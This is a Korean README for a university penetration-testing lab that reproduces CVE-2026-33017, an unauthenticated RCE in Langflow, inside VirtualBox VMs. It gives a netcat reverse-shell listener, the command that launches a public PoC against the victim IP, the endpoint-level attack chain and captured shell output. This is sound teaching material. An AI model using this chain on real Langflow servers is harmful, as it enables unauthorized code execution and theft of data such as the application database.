
교육용 랩으로, CVE-2026-33017을 통한 Langflow의 인증 없는 RCE를 시연하며, 자동화된 VM 설정과 리버스 셸용 PoC 익스플로잇을 포함합니다.
HoGent CyberSecurity II — 네트워크 침투 테스트 및 익스플로잇 (NPE)
학년도 2025–2026
이 저장소는 Langflow ≤ 1.8.1에서 발생하는 치명적인 인증 없는 원격 코드 실행(RCE) 취약점인 CVE-2026-33017에 대한 완전한 랩 환경 및 익스플로잇 데모를 포함합니다.
인증 없이도 공격자는 /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트를 통해 서버에서 임의의 Python 코드를 실행할 수 있습니다. 이는 사용자 입력이 샌드박싱이나 검증 없이 Python의 exec()에 직접 전달되기 때문입니다.
⚠️ 면책 조항: 이 저장소는 통제된 랩 환경에서의 교육 목적으로만 제공됩니다. 명시적 허가를 받은 시스템에서만 사용하십시오.
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Victim │ │ Kali-Attacker │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC exploit tool │ │
│ │ port 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Host-only netwerk: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # 이 파일
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # 전체 배포 및 공격 가이드
└── scripts/
├── setup_vms.sh # 1단계: VirtualBox VM 생성 (HOST)
├── setup_victim.sh # 2단계: Langflow 1.8.1 설치 (Ubuntu VM)
└── setup_attacker.sh # 3단계: PoC 도구 설치 (Kali VM)
VBoxManage가 포함된 VirtualBox 7.xUbuntu_22.04-VB-64bit.vdi → ubuntu-22.04.vdi로 이름 변경Kali_Linux-VB-64bit.vdi → kali-linux.vdi로 이름 변경setup_vms.sh와 같은 폴더에 위치bash scripts/setup_vms.sh
# 로그인 정보: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# 로그인 정보: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
터미널 1 — 리버스 셸 리스너:
nc -lvnp 4444
터미널 2 — 익스플로잇:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
PoC는
setup_attacker.sh에 의해 자동으로 설치됩니다.
사용된 PoC: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| 단계 | 엔드포인트 | 설명 |
|---|---|---|
| 1 | GET /api/v1/auto_login | 슈퍼유저 JWT 토큰 획득 (AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | API를 통해 새 공개 플로우 생성 |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | 악성 Python 코드가 포함된 CustomComponent 주입 |
| 4 | validate.py:397의 exec() | 코드가 샌드박싱 없이 실행됨 — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data 매개변수 제거LANGFLOW_AUTO_LOGIN 비활성화HoGent — 응용 정보학 — CyberSecurity II — 2025–2026